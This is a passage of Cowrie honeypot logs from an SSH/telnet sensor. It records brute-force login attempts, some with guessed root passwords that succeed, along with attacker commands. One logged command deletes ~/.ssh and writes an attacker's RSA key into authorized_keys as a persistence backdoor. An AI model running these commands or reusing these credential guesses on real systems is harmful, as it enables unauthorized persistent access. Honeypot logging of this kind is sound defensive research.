03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T13:57:26.566681Z","src_ip":"187.210.77.100","session":"db2955ea4faa","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T13:57:26.580652Z","src_ip":"195.178.110.218","session":"d7f7e46a5f3a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sol","password":"1234","message":"login attempt [sol/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T13:57:26.818244Z","src_ip":"195.178.110.218","session":"d7f7e46a5f3a","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"1Qwertyuiop","message":"login attempt [root/1Qwertyuiop] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T13:57:27.339506Z","src_ip":"187.210.77.100","session":"db2955ea4faa","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T13:57:27.746314Z","src_ip":"187.210.77.100","session":"db2955ea4faa","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~; chattr -ia .ssh; lockr -ia .ssh","message":"CMD: cd ~; chattr -ia .ssh; lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T13:57:27.750121Z","src_ip":"187.210.77.100","session":"db2955ea4faa","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"lockr -ia .ssh","message":"Command not found: lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T13:57:27.754229Z","src_ip":"187.210.77.100","session":"db2955ea4faa","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T13:57:27.902085Z","src_ip":"195.178.110.218","session":"d7f7e46a5f3a","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","size":32,"shasum":"c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T13:57:27.942988Z","src_ip":"187.210.77.100","session":"db2955ea4faa","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T13:57:28.351461Z","src_ip":"187.210.77.100","session":"db2955ea4faa","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","message":"CMD: cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T13:57:28.354650Z","src_ip":"187.210.77.100","session":"db2955ea4faa","protocol":"ssh"}
{"eventid":"cowrie.session.file_download","duplicate":true,"outfile":"var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","shasum":"a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","destfile":"/root/.ssh/authorized_keys","message":"Saved redir contents with SHA-256 a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2 to var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T13:57:28.543902Z","src_ip":"187.210.77.100","session":"db2955ea4faa","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","size":0,"shasum":"cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T13:57:28.547860Z","src_ip":"187.210.77.100","session":"db2955ea4faa","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"187.210.77.100","src_port":58378,"dst_ip":"159.203.135.109","dst_port":22,"session":"9a40f8a1772f","protocol":"ssh","message":"New connection: 187.210.77.100:58378 (159.203.135.109:22) [session: 9a40f8a1772f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T13:57:28.727794Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T13:57:28.731950Z","src_ip":"187.210.77.100","session":"9a40f8a1772f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T13:57:28.918342Z","src_ip":"187.210.77.100","session":"9a40f8a1772f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"345gs5662d34","password":"345gs5662d34","message":"login attempt [345gs5662d34/345gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T13:57:29.682816Z","src_ip":"187.210.77.100","session":"9a40f8a1772f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T13:57:30.874506Z","src_ip":"187.210.77.100","session":"9a40f8a1772f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"187.210.77.100","src_port":33602,"dst_ip":"159.203.135.109","dst_port":22,"session":"54f30d204fc7","protocol":"ssh","message":"New connection: 187.210.77.100:33602 (159.203.135.109:22) [session: 54f30d204fc7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T13:57:31.061839Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T13:57:31.065570Z","src_ip":"187.210.77.100","session":"54f30d204fc7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T13:57:31.252087Z","src_ip":"187.210.77.100","session":"54f30d204fc7","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"3245gs5662d34","message":"login attempt [root/3245gs5662d34] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T13:57:32.027458Z","src_ip":"187.210.77.100","session":"54f30d204fc7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.8","message":"Connection lost after 5.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T13:57:32.223581Z","src_ip":"187.210.77.100","session":"db2955ea4faa","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.2","message":"Connection lost after 1.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T13:57:32.228692Z","src_ip":"187.210.77.100","session":"54f30d204fc7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"119.209.12.20","src_port":49706,"dst_ip":"10.17.0.5","dst_port":22,"session":"108e02ae8ec4","protocol":"ssh","message":"New connection: 119.209.12.20:49706 (10.17.0.5:22) [session: 108e02ae8ec4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T13:57:52.841899Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T13:57:52.846144Z","src_ip":"119.209.12.20","session":"108e02ae8ec4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T13:57:53.052281Z","src_ip":"119.209.12.20","session":"108e02ae8ec4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test_user","password":"123","message":"login attempt [test_user/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T13:57:53.908013Z","src_ip":"119.209.12.20","session":"108e02ae8ec4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T13:57:55.117216Z","src_ip":"119.209.12.20","session":"108e02ae8ec4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.96","src_port":44236,"dst_ip":"159.203.135.109","dst_port":22,"session":"ad7fa09a55f7","protocol":"ssh","message":"New connection: 2.57.122.96:44236 (159.203.135.109:22) [session: ad7fa09a55f7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T13:58:09.500425Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T13:58:09.504620Z","src_ip":"2.57.122.96","session":"ad7fa09a55f7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T13:58:09.608924Z","src_ip":"2.57.122.96","session":"ad7fa09a55f7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ethereum","password":"ethereum","message":"login attempt [ethereum/ethereum] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T13:58:09.922038Z","src_ip":"2.57.122.96","session":"ad7fa09a55f7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T13:58:11.032133Z","src_ip":"2.57.122.96","session":"ad7fa09a55f7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"187.210.77.100","src_port":42774,"dst_ip":"159.203.135.109","dst_port":22,"session":"25422b6a7eda","protocol":"ssh","message":"New connection: 187.210.77.100:42774 (159.203.135.109:22) [session: 25422b6a7eda]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T13:58:31.241440Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T13:58:31.245123Z","src_ip":"187.210.77.100","session":"25422b6a7eda","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T13:58:31.435445Z","src_ip":"187.210.77.100","session":"25422b6a7eda","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"vlc","password":"vlc1234","message":"login attempt [vlc/vlc1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T13:58:32.218654Z","src_ip":"187.210.77.100","session":"25422b6a7eda","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T13:58:33.411857Z","src_ip":"187.210.77.100","session":"25422b6a7eda","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"160.119.76.17","src_port":42028,"dst_ip":"10.17.0.5","dst_port":23,"session":"d633d0643366","protocol":"telnet","message":"New connection: 160.119.76.17:42028 (10.17.0.5:23) [session: d633d0643366]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T13:59:45.241147Z"}
{"eventid":"cowrie.session.closed","duration":12.541991472244263,"message":"Connection lost after 12 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T13:59:57.783029Z","src_ip":"160.119.76.17","session":"d633d0643366","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"195.178.110.218","src_port":52234,"dst_ip":"159.203.135.109","dst_port":22,"session":"d081f2c7a3cb","protocol":"ssh","message":"New connection: 195.178.110.218:52234 (159.203.135.109:22) [session: d081f2c7a3cb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:00:00.537035Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:00:00.542090Z","src_ip":"195.178.110.218","session":"d081f2c7a3cb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:00:00.621886Z","src_ip":"195.178.110.218","session":"d081f2c7a3cb","protocol":"ssh"}
